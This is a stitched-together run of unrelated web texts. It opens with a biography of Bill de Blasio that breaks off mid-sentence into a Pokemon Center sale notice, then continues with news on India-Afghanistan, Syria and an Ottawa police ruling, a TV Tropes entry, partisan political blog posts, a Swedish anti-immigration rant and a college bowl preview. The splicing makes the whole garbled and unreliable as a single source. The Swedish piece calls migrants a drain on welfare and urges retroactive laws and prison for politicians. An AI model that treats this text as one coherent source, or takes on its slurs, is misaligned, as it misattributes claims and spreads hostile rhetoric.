In 1966, the family moved to Cambridge, Massachusetts, where he began kindergarten.[15] Although he was originally given the name Warren Wilhelm Jr at birth by his parents, he was called "Bill" or "Billy" growing up and in his personal life.[16] His father became a heavy drinker which caused emotional distress in the family during this time. His parents divorced when he was seven; he and his brother Donald were raised by Maria and her extended family. Recalling his early childhood, de Blasio said "my mother and father broke up very early on in the time I came along, and I was brought up by my mother's family—that's the bottom line—the de Blasio family."[16] His father committed suicide while suffering from incurable lung cancer when he was 18.[17] De Blasio graduated from Cambridge Rindge and Latin School in 1979 where he served in student government and was affectionately known to peers as "Senator Provolone".[a] When he was 22, he adopted his mother's surname because his father was "largely absent," and he wanted to embrace his Italian heritage.[19] He hyphenated it to Warren de Blasio-Wilhelm in 1983, and formally adopted the name Bill de Blasio in December 2001.[19] He received a Bachelor of Arts from New York University, majoring in metropolitan studies, a program in urban studies, and received a Master of International Affairs from Columbia University's School of International and Public Affairs.[20] He is a 1981 Harry S. Truman Scholar.[21]
Campaign manager [ edit ]
His first job was part of the Urban Fellows Program for the New York City Department of Juvenile Justice in 1984.[22][23] In 1987, shortly after completing graduate school at Columbia, de Blasio was hired to work as a political organizer by the Quixote Center in Maryland. In 1988, he traveled with the Quixote Center to Nicaragua for 10 days to help distribute food and medicine during the Nicaraguan Revolution. De Blasio was an ardent supporter of the ruling socialist government, the Sandinista National Liberation Front, which was at that time opposed by the Reagan administration.[23] After returning from Nicaragua, de Blasio moved to New York City, where he worked for a nonprofit organization focused on improving health care in Central America.[23] He continued to support the Sandinistas in his spare time, joining a group called the Nicaragua Solidarity Network of Greater New York, which held meetings and fundraisers for the Sandinista political party.[23] De Blasio's introduction to city politics came in 1989, when he worked as a volunteer coordinator for David Dinkins' mayoral campaign.[24] Following the campaign, de Blasio was an aide in City Hall.[25] In 1990, he described himself as an advocate for democratic socialism when asked about his goals for society.[23]
U.S. Representative Charles Rangel tapped de Blasio to be his campaign manager for his successful 1994 re-election bid.[26] In 1997, he was appointed to serve as the regional director for the United States Department of Housing and Urban Development (HUD) for New York and New Jersey under the administration of President Bill Clinton. As the tri-state region's highest-ranking HUD official, de Blasio led a small executive staff and took part in outreach to residents of substandard housing.[27][28] In 1999, he was elected to be a school board member for Brooklyn School District 15.[29] The following year, he served as campaign manager for Hillary Clinton's successful United States Senate bid.[29]
New York City Council (2002–2009) [ edit ]
Elections [ edit ]
In 2001, de Blasio decided to run for the New York City Council's 39th district, which includes the Brooklyn neighborhoods of Borough Park, Carroll Gardens, Cobble Hill, Gowanus, Kensington, Park Slope, and Windsor Terrace. He won the crowded primary election with 32 percent of the vote.[30] In the general election, he defeated Republican Robert A. Bell, 71 percent to 17 percent.[31] In 2003, he won re-election with 72 percent of the vote[32] and in 2005 was re-elected for a third term with 83 percent of the vote.[33]
Tenure [ edit ]
On the City Council, de Blasio passed legislation to prevent landlord discrimination against tenants who hold federal housing subsidy vouchers, and helped pass the HIV/AIDS Housing Services Law, improving housing services for low-income New Yorkers living with HIV/AIDS.[34][35] As head of the city council's General Welfare Committee, de Blasio helped pass the Gender-Based Discrimination Protection Law to protect transgender New Yorkers and passed the Domestic Partnership Recognition Law to ensure that same-sex couples in a legal partnership could enjoy the same legal benefits as heterosexual couples in New York City.[36] During his tenure, the General Welfare Committee also passed the Benefits Translation for Immigrants Law, which helped non-English speakers receive free language-assistance services when accessing government programs.[37] He served on the education, environmental protection, finance, and technology committees and chaired the general welfare committee.[38][39][40][41][42]
New York City Public Advocate (2010–2013) [ edit ]
Election [ edit ]
De Blasio speaking at his January 2010 inauguration Bill de Blasio and Israeli Foreign Minister Avigdor Lieberman in 2012
In November 2008, de Blasio announced his candidacy for New York City Public Advocate, entering a crowded field of candidates vying for the Democratic nomination, a field which included former Public Advocate Mark J. Green. The New York Times endorsed de Blasio in an editorial published during the primary, praising his efforts to improve public schools and "[help] many less-fortunate New Yorkers with food stamps, housing, and children's health" as a councilmember. The editorial went on to declare de Blasio the best candidate for the job "because he has shown that he can work well with Mayor Bloomberg when it makes sense to do so while vehemently and eloquently opposing him when justified."[43] His candidacy was endorsed by then Public Advocate Betsy Gotbaum, former Mayor Ed Koch, former Governor Mario Cuomo, and Reverend Al Sharpton.[44]
On September 15, 2009, de Blasio finished first in the Democratic primary, garnering 33 percent of the vote.[45] He won the run-off primary election on September 29, defeating Green, 62 percent to 38 percent.[46] In the general election on November 3, de Blasio defeated Republican Alex Zablocki in a landslide victory, 78 percent to 18 percent.[47][48] De Blasio was inaugurated as New York City's third Public Advocate on January 1, 2010. In his inauguration speech, he challenged the administration of Mayor Bloomberg, specifically criticizing his homelessness and education policies.[49]
Education [ edit ]
As public advocate, de Blasio repeatedly criticized Mayor Bloomberg's education policies. He called for Cathie Black, Bloomberg's nominee for New York City Schools Chancellor, to take part in public forums and criticized her for sending her own children to private schools.[50][51] In March 2010, he spoke against an MTA proposal to eliminate free MetroCards for students, arguing the measure would take a significant toll on school attendance.[52] Three months later, he voiced opposition to the mayor's proposed budget containing more than $34 million in cuts to childcare services.[53] In June 2011, de Blasio outlined a plan to improve the process of school co-location, by which multiple schools are housed in one building. His study found community input was often ignored by the city's Department of Education, resulting in top-down decisions made without sufficient regard for negative impacts. He outlined eight solutions to improve the process and incorporate community opinion into the decision-making process.[54]
The same month, he also criticized a proposal by the Bloomberg administration to lay off more than 4,600 teachers to balance the city's budget; de Blasio organized parents and communities against the proposed cuts and staged a last-minute call-a-thon. Bloomberg restored the funding, agreeing to find savings elsewhere in the budget.[55] During his mayoral campaign, de Blasio outlined a plan to raise taxes on residents earning more than $500,000 a year to pay for universal pre-kindergarten programs and to expand after-school programs at middle schools.[56][57] He also pledged to invest $150 million annually into the City University of New York to lower tuition and improve degree programs.[57] In September 2013, de Blasio voiced his opposition to charter schools, maintaining that their funding saps resources from classes like art, physical education and afterschool programs. He outlined a plan to discontinue the policy of offering rent-free space to the city's 183 charter schools and to place a moratorium on the co-location of charters schools in public school buildings. He said, "I won't favor charters. Our central focus is traditional public schools."[58]
Housing [ edit ]
In June 2010, de Blasio opposed a New York City Housing Authority decision to cut the number of Section 8 vouchers issued to low-income New Yorkers. The cut was announced after the NYCHA discovered it could not pay for approximately 2,600 vouchers that had already been issued.[59] Two months later, he launched an online "NYC's Worst Landlords Watchlist" to track landlords who failed to repair dangerous living conditions. The list drew widespread media coverage and highlighted hundreds of landlords across the city. "We want these landlords to feel like they're being watched," de Blasio told the New York Daily News. "We need to shine a light on these folks to shame them into action."[60]
Affordable housing [ edit ]
Atlantic Avenue, in the East New York neighborhood of Brooklyn, which has been scarred by decades of poverty and crime, is the first test and focus of de Blasio's strategy on affordable housing, one of his chief policy initiatives central to his platform of reducing inequality. Since 2012, city planners have been working to bring residents to forums to consult on the process. The plan is to "invite developers to build up local streets in exchange for more units of affordable housing." They will invest in new trees, parks, sidewalks, schools, shops, and restaurants that will lead to better services.[61]
Campaign finance [ edit ]
De Blasio has been a vocal opponent of Citizens United, the January 2010 U.S. Supreme Court decision which overturned portions of the 2002 McCain-Feingold Bipartisan Campaign Reform Act. He argued that "corporations should not be allowed to buy elections," and launched a national campaign by elected officials to reverse the effects of the court decision.[62]
Mayor of New York City (2014–present) [ edit ]
2013 election [ edit ]
Bill de Blasio with his wife, Chirlane, (left) and two children at a rally in New York City in 2013
On January 27, 2013, de Blasio announced his candidacy for Mayor of New York City in the fall election.[63][64] The Democratic primary race included nine candidates, among them Council Speaker Christine Quinn, former U.S. Representative Anthony Weiner, and former New York City Comptroller and 2009 mayoral nominee Bill Thompson.[65][66] After Weiner joined the race in April, early polls showed de Blasio in fourth or fifth among the candidates.[67] Despite his poor starting rank in the primary race, de Blasio was able to gain the endorsements of major Democratic clubs such as the Barack Obama Democratic Club of Upper Manhattan as well as New York City's largest trade union, SEIU Local 1199. Celebrities such as Alec Baldwin and Sarah Jessica Parker endorsed him, as did prominent politicians such as former Vermont Governor Howard Dean and U.S. Congresswoman Yvette Clarke.[68][69][70] By August, singer Harry Belafonte and actress Susan Sarandon had endorsed de Blasio.[71]
De Blasio gained media attention during the campaign when he and a dozen others, including city councillor Stephen Levin, were arrested while protesting the closing of Long Island College Hospital.[72] De Blasio and Levin were released a few hours later with disorderly conduct summonses. Fellow Democratic mayoral hopefuls Anthony Weiner and City Comptroller John Liu were also at the protest but were not arrested.[73]
In the first week of August, the de Blasio campaign released a television advertisement featuring de Blasio's then-15-year-old son, Dante, |
now is your chance!
Number 3: Raffle Items!
Japan Pokemon Center On-line members will be able to enter to win previously released exclusive items from the account page on the On-Line store site starting February 16th, 2017. Since the official page hasn’t opened yet, I’m not sure if these are the only four items being raffled off or if there will be other items.
Note that even if you win, you do not receive these items for free, and the only payment method is Cash On Delivery.
Number 4: More Exclusive Items!
Both the Sapporo Exclusive Pikachu Snow Plush and a double pack of Pokemon Sun & Moon will be sold in limited quantities exclusively on the Japan Pokemon Center On-line web store.
Number 5: Presents!
It’s not a Pokemon Center promotion without some sort of special campaign present. These three poster designs will be given out to all on-line center store customers for every 4,000 yen spent between February 16th (Thursday) until April 7th (Friday) or while supplies last. Each design will be distributed during the times specified in the photo.
And that concludes tonight’s announcements! Until next time~
—–
Pokemon Center On-line 1st Year AnniversaryPrime Minister Narendra Modi on Monday reiterated India’s commitment to building a peaceful Afghanistan when Afghanistan’s chief executive officer and head of the Council of Ministers Abdullah Abdullah called on him.
“The Prime Minister expressed deep gratitude towards the government and the national security forces of Afghanistan for their bravery and sacrifice in order to protect the Indians, especially during the attack on the Indian consulate in Mazar-e-Sharif on January 4-5, 2016,” the external affairs ministry said in a statement.
“The Prime Minister reiterated India’s commitment to extend all possible support to the efforts of the Afghan people in building a peaceful, stable, prosperous, inclusive and democratic country,” it stated.
On his part, Abdullah Abdullah recalled positively the maiden and successful visit of Modi to Afghanistan in December last year.
During Modi’s visit to Kabul on December 25, the new Afghan parliament building, constructed with India’s aid, was inaugurated.
On Monday’s meeting, Abdullah Abdullah said that the visit re-energised the strategic partnership between the two countries.
“He deeply appreciated the support being extended by India for infrastructure development and capacity building in Afghanistan,” the external affairs ministry statement added.
“The two leaders shared views on further deepening the strategic partnership, both in the bilateral and regional context.”
An agreement for visa-free travel for diplomatic passport holders of the two countries was exchanged in the presence of Modi and Abdullah Abdullah.
The Afghanistan chief executive later held a meeting with external affairs minister Sushma Swaraj during the course of which India approved the third phase of 92 small development projects in Afghanistan.
External affairs ministry spokesperson Vikas Swarup tweeted that Sushma Swaraj has approved the “strategic partnership for the benefit of (Afghan) people”.
Abdullah Abdullah, who arrived here on Sunday on a five-day visit to India, will leave for Jaipur on Tuesday where he will deliver the keynote address at a conference on counter-terrorism organised by the India Foundation in collaboration with Sardar Patel University of Police, Security and Criminal Justice, Jodhpur.
President Pranab Mukherjee will inaugurate the conference on Tuesday.
The conference will bring together counter-terrorism practitioners, policy makers and public intellectuals from India and abroad, the president’s secretariat said in a statement.
The first counter-terrorism conference was held in March 2015 in Jaipur.
First Published: Feb 01, 2016 18:27 IST“The protocol is intended to be signed soon,” the spokesman, Jihad al-Makdesi, told reporters in Damascus. “The Syrian government has responded positively to the draft protocol. I am optimistic, although I await the Arab League response first.”
Even if Syria agrees to monitors, it is unclear how assertive they could be.
“I highly doubt that they will let observers in, and if they do, they are going to be taken to places were there are supporters,” said a 32-year-old resident of Damascus who gave her name as Samah. “They are just buying time.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
The Arab League has repeatedly extended deadlines in its efforts to mediate the Syrian conflict, the greatest challenge to President Bashar al-Assad’s rule. Syria agreed on Nov. 2 to a league-brokered plan to end the crackdown and begin negotiations. But in following days, little changed on the ground, and the league suspended Syria’s membership last month. The step was especially symbolic given Syria’s sense of itself as an axis of Arab politics and regional diplomacy.
The league increased pressure on Syria on Nov. 27, when it imposed sweeping sanctions that included banning senior Syrian officials from traveling to other Arab countries, freezing Syrian assets in Arab countries and halting financial operations with major Syrian banks, including the central bank.
Those steps came amid more sanctions imposed by the United States, the European Union and Turkey, all targeting a faltering Syrian economy that many diplomats in the region and in the West view as Mr. Assad’s greatest vulnerability.
Despite the pressure, the crackdown has continued, along with growing signs of an armed insurgency and worsening sectarian tensions. The United Nations said in a report last week that more than 4,000 people had been killed in the crackdown since mid-March and that at least 14,000 had been detained. It also said there is evidence that Syrian military and security forces have committed crimes against humanity, including the torture, rape and killing of Syrians, among them minors.
At least 63 people were killed across the country over the weekend, according to Syrian human rights groups. One of those groups, the Syrian Observatory for Human Rights, said that seven people died on Monday in renewed violence. It also said that four members of Syria’s security forces, including an officer, were killed in the southern province of Dara’a when army defectors shot at them as they were standing in front of a courthouse there.http://tvtropes.org/pmwiki/pmwiki.php/Main/CanonSue
There are subjectives, and then there are these. While you may believe a work fits here, and you might be right, people tend to have rather vocal, differing opinions about this subject. Please keep these off of the work's page.
A Canon Sue is a Mary Sue/Marty Stu who happens to be a canonical character. This could be one of two things:
A Possession Sue. It's more frequently referred to as Canon Sue, but it has its own article. A professional work in which a canonical character already has the attributes of a Mary Sue/Marty Stu.
In the second version, this can sometimes be tricky to identify; creators often draw on their own personality, appearance, and/or history for inspiration, since it's easy and convenient to write what and who you know, so the appearance of these doesn't automatically mean a Canon Sue.
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On the other hand, this can feel very appropriate in a franchise's spin-off—to keep the series 'fresh', a new character is introduced, and in order to make an imprint on the viewer they are just AMAZING. They're clever, they're strong, they're authorative. If they're in the military, the uniform doesn't necessarily apply, and neither do regulation hair-dos. Frequently we can see characters' attraction to them—even if this requires dumping a former love interest. And of course, Sue/Stu shows that they doesn't take shit from anyone by being dismissive or outright terrible to the people fawning of them. This fault either goes unnoticed, making them impossible to like, or fades within an episode or two, and their personality evaporates with it because that was all there was to the character.
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Ship-to-Ship Combat also plays in, as the Canon Sue accusation is often blatantly leveled at characters just because they hook up with a lead (or the Ensemble Dark Horse) who the accuser ships with somebody else. Also, with the general trend of Mary Sue being used as an all-encompassing insult for any female character considered to get "above herself", this accusation gets thrown around a lot without much basis in fact.
In general, Canon Sues are significantly less common than fanfiction Sues/Stus, since most professional authors have more skill, talent and accumulated experience than the amateurs who write fanfiction, not to mention the help of professional editors. However, this means that when they do occur they are significantly more visible (who's going to remember the hastily typed out daydream of a 12 year old girl in a year?). Due to the author creating an entirely different template for the work of fiction, they can set up the rules of The 'Verse that allow or disallow particular tropes or characteristics. As such, they can choose what Common Mary Sue Traits are allowed, making it a bit harder to see when plot bias is in effect. However, they're hardly immune to this trend. Nor is this a new element; George Eliot's Silly Novels by Lady Novelists castigates many original novels of her day for obvious Mary Sue traits (among other flaws).
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For the most blatant and infamous examples see Creator's Pet. The Magical Girlfriend, Tsundere and Yamato Nadeshiko, while occasionally possessing similar traits, are not usually viewed as such; they are seen more as targets of enticement instead of ones to emulate; whether they're still Canon Sues is left to the viewer. Also see The Ace, which puts an idealized character in a supporting role in the story, often serving as a rival, a foil, a source of comedy, or as a mentor (or possibly just the Hero of Another Story). Suetiful All Along can also play a part as well.
No examples, please. This only defines the term.An Ottawa police officer violated several sections of the Charter of Rights and Freedoms during a 2015 arrest in which he punched a handcuffed teenager in the face, a judge ruled this week.
In a decision released Tuesday, Justice Julie Bourgeois found Mohamed Hamed not guilty of all charges he had been facing after his arrest on Aug. 31, 2015, near the intersection of Baseline Road and Woodroffe Avenue in west Ottawa.
Hamed, then 19, and the arresting officer, Const. Nikolas Boldirev, gave two different versions of what happened that day, according to the decision.
Boldirev, who has more than 16 years' experience as a military and Ottawa police officer, testified he saw Hamed's vehicle make an abrupt lane change without signalling. He said he pulled the car over, asked for Hamed's license and other documents, and then noticed a "pungent" marijuana odour coming from inside the vehicle.
When he stuck his head inside, Boldirev said, he saw a few flakes of marijuana on the floor. He arrested Hamed and handcuffed his hands behind his back, putting him in his cruiser after Hamed resisted by "physically tensing and becoming rigid," according to the ruling.
The officer said Hamed's body was in the cruiser, but his legs and feet were not. Boldirev said Hamed was trying to get up and, thinking he was trying to escape, the officer "issued two distractionary strikes to the head, face or neck area," according to the decision.
Hamed then got in the cruiser. When he was being cross-examined, Boldirev said he hit Hamed as hard as he could — a 10 on a scale of one to 10.
Accused says he was scared
Boldirev then searched the vehicle and found marijuana in a backpack and counterfeit money in Hamed's wallet.
Hamed was read his rights at 2:05 a.m., about 11 minutes after he was arrested, and said he wanted to talk to a lawyer.
"The officer testified that for as long as he has been a police officer, he has never heard of, seen it or himself never allowed a detainee to contact a lawyer at the roadside," Bourgeois's decision said.
Hamed was released after Boldirev found there was no warrant for his arrest and there was nothing about him in the police database. He was charged for having marijuana and counterfeit money, plus resisting arrest.
Hamed told the court, however, that he didn't think he had made an illegal lane change and the officer wasn't telling him why he was being placed under arrest.
He said the officer's actions made him scared, and he became upset and angry as he was put into the cruiser.
Hamed testified that when he asked why Boldirev was treating him like that and why he had assaulted him, Boldirev responded "You think that's an assault? This is not an assault."
Boldirev then punched him twice in the face, leaving him dazed, Hamed said.
Hamed also said the counterfeit money was given to him during a recent sale of a dirt bike and he had no intention of using it.
Credibility issues
In her ruling, Bourgeois wrote that she found problems with Boldirev's credibility compared to Hamed's "truthful, genuine, logical and consistent" evidence.
That Mr. Hamed was not seriously injured seems to be pure luck. - Justice Julie Bourgeois
"The ring of truth to [Const.] Boldirev's testimony is not resounding loud enough for the court to hear it," she said.
The justice said she couldn't accept the officer's evidence that Hamed veered or swerved before he was pulled over, adding that Boldirev lacked the grounds to make the stop under the section of the Highway Traffic Act he cited.
She also found issues with his testimony that he didn't notice the strong smell of marijuana right away, saying that if it was as strong as he said it was, he certainly should have.
Those credibility concerns led Bourgeois to find Hamed's arrest unlawful, making the warrantless search of his vehicle a violation of sections 8 and 9 of the charter and therefore unlawful as well. The two sections protect against unreasonable searches and arbitrary detainments.
Leo Russomanno speaks to reporters in his Ottawa office. He says almost everything the officer did that morning was a charter violation. (Andrew Foote/CBC)
She ruled Hamed's charter rights were also violated when he wasn't told why he was being arrested and wasn't allowed to talk to a lawyer until well after he was handcuffed and searched.
"The impact of the breaches on the Charter-protected interest of Mr. Hamed is also very serious," she wrote.
As for the punches, Bourgeois ruled they displayed excessive force, calling them "completely contrary to the principles of proportionality, necessity and reasonableness" as the chances of Hamed escaping were extremely small.
"That Mr. Hamed was not seriously injured seems to be pure luck," she wrote.
"But that the officer did not even inquire if he required medical attention after testifying that he administered these two punches to the head or facial area with full force, 10 out of 10 on the scale of force, is mind-boggling."
Hamed's lawyer Leo Russomanno told CBC News that "virtually all" of his client's rights were violated during the arrest.
"From the very beginning, the stop — being really based on a false premise — was an arbitrary stop, an arbitrary arrest and detention," Russomanno said in an interview.
OPS reviewing decision
In an email, Ottawa police Chief Charles Bordeleau said he's not commenting on the decision because it's being reviewed "to determine what action should be taken."
"I think it is important to put any single case into context," Bordeleau said.
"Our members are professional and take pride in their work, including those working the frontline and in our investigative units. They successfully take cases to trial and have been credited for excellent work by many, including the judiciary."
Bordeleau said Ottawa police started a pilot project last week that puts an assistant crown attorney at their Elgin Street headquarters to, in part, identify training opportunities and needs and find alternatives to formal arrests and charges.And three makes a trend!
I recently noted that both the WashPost and USA Today, when reporting on their latest batch of polling data, forgot to inform readers that Obama's job approval rating had inched up in recent months. The New York Times now joins in on that reporting oddity.
From the Times today:
Respondents were nearly evenly split on the president's handling of the economy — 45 percent approve, 48 percent disapprove. His job approval rating remains just below 50 percent.'
For the record, Obama's approval rating in the Times poll stands at 47 percent. And yes, that's up slightly since March (44 percent.)
I reason I keep documenting this reporting trend when it comes to Obama's polling numbers is because I'm detecting a certain awkwardness among Beltway scribes who seem reluctant to acknowledge that, despite the avalanche media criticism the president has been subjected to this spring, and especially in the wake of the BP spill, the public doesn't seem to be responding to those Beltway critiques.
In other words, we seem to be witnessing the latest chapter of the Beltway media disconnect, where insiders announce a Democratic president is doomed, and the American people turn around and give the president higher marks.When last I checked in on Maine's new teabagging governor, he wanted to repeal the state regulation that prevented using toxic chemical bisphenol-A in baby bottles. (Says there was no "science" behind the ban.)
Now, under Paul LePage's proposed budget, teachers and other state employees will be required to increase their contributions to the pension system, from 7.65 percent of their salary to 9.65 percent. Of course, the teabagger governor has exempted himself! And is this to build up the state's pension system? Nope. It's to pay for $203 million in tax cuts for Maine residents in the top 10% income and estate brackets.
Isn't "shared sacrifice" great?
While public employees and teachers face this increase, as well as a raise in the retirement age, a freeze on cost-of-living adjustments for current retirees and a 2 percent cap on future cost of living increases, LePage's personal contribution rate to the retirement system will remain the same, which means he'll be paying $21,420 over four years.
If LePage faced the same increase as state employees, it would cost him $5,880 over his term.
Unlike teachers and state employees, however, the size of the governor's pension doesn't depend on how long he pays into the system. As soon as he leaves office, he'll begin receiving a three-eighths of his salary, which works out to $26,600 annually.
For comparison, a Maine teacher would have to work for more than 25 years to receive this level of benefits.
Confidential employees, those that are not represented under union collective bargaining, also are not seeing their salary contributions increased to the same rate. They'll continue to pay just 3.65 percent of their salary to the pension fund. At the same time that most employees are to be forced to increase their contributions, the state will reduce the amount it pays into the retirement fund.
Maine currently contributes 5.5 percent of an employee's salary, less than the 6.2 percent it would have to pay if these workers were enrolled in Social Security rather than the more efficient state pension system.
It is difficult, then, to take LePage seriously when he says, "I know some teachers and retirees are struggling, but we need honest and shared solutions to solve our pension problem," as he did last week, or when his spokesperson talked about "shared sacrifices" as they announced the budget.Elizabeth Warren on The Daily Show with John Stewart, 4/26/11
Reps. Carolyn Maloney (D-NY), Keith Ellison (D-MN), and Brad Miller (D-NC) are circulating a letter among House Democrats pressing President Obama to offer Elizabeth Warren a recess appointment to head the Consumer Financial Protection Bureau created by the Dodd-Frank Wall Street reform law. The letter comes after 44 of the 47 Senate Republicans vowed to filibuster any nominee to the CFPB unless and until the agency is made powerless.
Brian Beutler has the letter:
"Regretfully, Republicans in the Senate have now made it clear that they oppose reform," reads a letter from House Democrats that will be delivered to President Obama. They have vowed that they will not allow consideration of any nominee to head the CFPB until the bureau is weakened. They would rather hold your appointment hostage and obstruct the process than make sure consumers have a strong advocate on their side. Since Republican Senators have said that no one is acceptable unless the law is weakened, we would urge you to nominate Professor Warren as the CFPB's first Director anyway. If Republicans in the Senate indeed refuse to consider her, we request that you use your constitutional authority to make her a recess appointment.....Because of Senate filibuster rules, Obama won't be able to confirm even a consensus director without undermining the central mission of the bureau. That leaves a recess appointment as [Obama's] only option—he can pick whomever he wants, and Warren is a popular choice among progressives and reform advocates.
If the agency is to accomplish anything on behalf of American consumers, it needs to have the independence that the Republicans are now determined to kill. Because, as House Financial Services Committee chair Rep. Spencer Bachus (R-AL) has said, the Republicans are "there to serve the banks." The too big to fail banks hate Warren, while small, community banks (the kind that can't really pony up the amount of political money Bachus and his colleagues expect) support her.
A recess appointment of Warren would be a smart move for policy—making sure the agency is able to do what it was intended to do, give American families a fighting chance. It would be a smart move politically for Obama—playing hardball now with Republicans, and proving that he has the mettle to do it, makes sense in the ongoing budget negotiations. There's nothing at this point to lose with a recess appointment, and a great deal to gain.Ni har tagit er rätten att våldföra er på vårt gemensamma arv, d.v.s. landet Sverige. Med dårars envishet håller ni på att bit för bit för bit ge bort vårt land till en aldrig sinande ström av välfärdsmigranter från 3e världen, och det gör ni utan att ställa några som helst krav på rimliga motprestationer.
Dessutom har ni tagit er rätten att våldföra er på vårt språk. Rasist och fascist har förlorat sina ursprungliga meningar och betyder nu istället meningsmotståndare. Pissränna är inte längre någonstans där man pinkar utan meningsmotståndarnas publikationer. Svensk har fått betydelsen någon som bor, eller någon gång har bott, i Sverige.
Och inte nog med det. Ni har tagit tagit er rätten att våldföra er på vårt kulturella arv, d.v.s. allt det som gör att Sverige är Sverige. Flaggan spottar ni på. Nationalsången hånar och leker ni med. Och det mesta annat som utgör vårt kulturella arv tycks ni håna, se ner på och vilja avskaffa. För er tycks svensk kultur inte ha något som helst värde eller berättigande.
Jag är en vanlig Svensson och en lugn och sansad människa, men t.o.m. sådana som jag känner djup avsky för det sådana som ni har förorsakat. Det gör jag tillsammans med idag troligen miljontals andra svenskar, och vi blir fler och fler för varje dag som går.
Men många nöjer sig inte med att känna avsky. Dom känner hat, och djupt och innerligt hat. Gå in på sociala media och i kommentarsfälten så får ni se. Hatet fullkomligt bubblar. Vissa nöjer sig inte ens med hat, utan börjar hota med att ta till våld. Vi får verkligen hoppas att dom inte menar vad dom säger, för i så fall har problemen bara börjat.
Det är vad ni har lyckats åstadkomma. Ni har fått vanliga svenskar att börja hata varandra.
Det är inget bra recept. Titta på Europas moderna historia från ca. 1910 till ca. 1950 så ser ni vad sådant kan resultera i. Eus kollaps i de former vi känner det ser vi kanske snart. För några dagar sedan varnade New York Times om risken för Tysklands kollaps. Finland hade inbördeskrig 1918. Skall Sverige kanske behöva genomlida det nu i vår tid? Marine Le Pen blir kanske president i Frankrike, Donald Trump i USA och snart kanske Tyskland styrs av en herre med mustasch igen. I Polen, Ungern m.fl. länder har man redan börjat styra om utvecklingen.
Det är ni som är ansvariga för allt detta. Ni har pressat vanligt folk så långt att de snart ser sig tvungna att välja mellan pest och kolera. Någon plats för en balanserad och sansad uppfattning tillåts inte av er. Vårt fina Sverige, Norden och Europa är på väg att haverera tack vare naiva och ansvarslösa verklighetsförnekare.
Har vårt Sverige nått vägs ände?
Jag älskar mitt öppna, liberala, sekulära och demokratiska Sverige. Jag ser dock att det är under attack från krafter som vill förändra det till det sämre. I värsta fall befarar jag att vårt Svenska samhällsbygge kan vara på väg mot vägs ände. Inte för att det är något fel på det, men för att det inte längre verkar ha kraften, förmågan och modet att försvara sig.
Jag är dock optimist och hoppas och tror att oredans tid så småningom skall kunna vara förbi.
Då måste vi helt enkelt ställa er som var ansvariga för eländet till svars. Ni måste fås att betala för allt det ni ställt till med. Det är inte rätt om dagens gamla, sjuka och fattiga och kommande generationer skall behöva betala notan. Vi bör överväga alla till buds stående medel inkl. retroaktiv lagstiftning och/eller grundlagsändringar, och straffskalorna bör rimligen inkludera långa fängelsestraff.
Vi måste få till stånd någon slags haverikommission, sanningskommission eller liknande.
Jag känner en djup avsky för allt elände som ni har åstadkommit.The bowl season is upon us. And with 10 Pac-12 teams participating in the postseason, there is plenty to chat about for the next few weeks. Here’s a quick guide:
Christian McCaffrey and Stanford will be in for a hard-nosed matchup with Iowa. Kirby Lee/USA TODAY Sports
The "True Rose Bowl" Bowl: Remember Michigan State’s final drive against Iowa? Expect back-and-forth drives like that for 60 minutes in the Rose Bowl Game presented by Northwestern Mutual. Not unlike Stanford’s win over Wisconsin in 2012, this year’s edition should be classic, hard-nosed football. Could also be the second year in a row that a Pac-12 Heisman winner plays in the Rose Bowl... maybe.
Bet the Over Bowl: The Valero Alamo Bowl features Oregon (43.2 points per game) and TCU (41.7 points per game) in what on paper looks like a track meet hopped up on Red Bull. On the flip side, the Ducks yielded 36.8 points per game defensively while TCU comes in at 26.1. Don’t blink, seriously.
Effective now, the Valero Alamo bowl will be called Valero Alamo Track & Field classic due to all the speed on the field come jan. 2nd — DEVOΝ ΑLLΕΝ 1⃣3⃣ (@DevonAllen13) December 6, 2015
The Bitter Bowl: How do you make thousands of Utah fans cry? Put them in the Royal Purple Las Vegas Bowl against BYU. The matchup is scintillating from a storyline perspective. Holy War in Sin City … Bronco Mendenhall’s last game … the rivalry renewing months before it was expected to next September, etc., etc. But from a Utah fan perspective, they felt like their team deserved better for finishing tied atop the Pac-12 South standings. And they’re not wrong.
The Other Bitter Bowl: Utah fans aren’t the only ones who feel they got snubbed. At least one Washington State player tweeted at the Holiday Bowl his dismay that they were passed over (which has since been deleted). But Washington State still ends up with a very intriguing matchup against Miami in the Hyundai Sun Bowl. For a team playing in just its second bowl game since 2003, this isn’t a terrible landing spot.
Back to ABQ Bowl: New Mexico hasn’t been to a bowl game since 2007, when it went to the New Mexico Bowl. Now New Mexico is back in a bowl, the Gildan New Mexico Bowl. The hosts end a pretty dark stretch in program history. But they are doing it against an Arizona team that is 5-0 against Mountain West squads in the Rich Rodriguez era. For those with short memories, Arizona played in one of the most thrilling games in the last few years in the 2012 New Mexico Bowl.
The Air-and-Ground Bowl: Has there ever been a matchup with more contrasting offensive styles than Cal’s Bear Raid vs. Air Force’s option? That's what we'll see in the Lockheed Martin Armed Forces Bowl. The Bears don’t mind running, don’t get me wrong. They have a 55-45 pass-rush ratio. But the Falcons rush 83 percent of the time. For perspective, Air Force is to throwing as Washington State is to running. The Falcons have gained more than 4,000 yards on the ground this season. Cal’s rush defense yields more than 203 yards per game. In Air Force’s one game against an upper-echelon quarterback, Michigan State’s Connor Cook tossed four touchdowns in Week 3.
The Broken Hearts Bowl: Welcome back to Pac-12 competition, Mike Riley, though he brings a 5-7 Nebraska team that’s had more heartbreaks than Taylor Swift. UCLA has had a couple of heartbreakers as well (see: State, Washington). The Foster Farms Bowl is not where either of these teams thought they would end up. This one is all about motivation … and who actually has some.
Could Be Sneaky Good Bowl: Don’t sleep on the Motel 6 Cactus Bowl with Arizona State and West Virginia. Of the Mountaineers’ five losses this season, four came in four straight weeks of facing ranked opponents: Oklahoma, Oklahoma State, Baylor, TCU. That’s the Big 12’s equivalent of Murderers’ Row. Neither of these teams was elite in its conference. But they were good enough to hang around in some tough ballgames. And both will probably come out feisty after blowing double-digit halftime leads in their season finales.
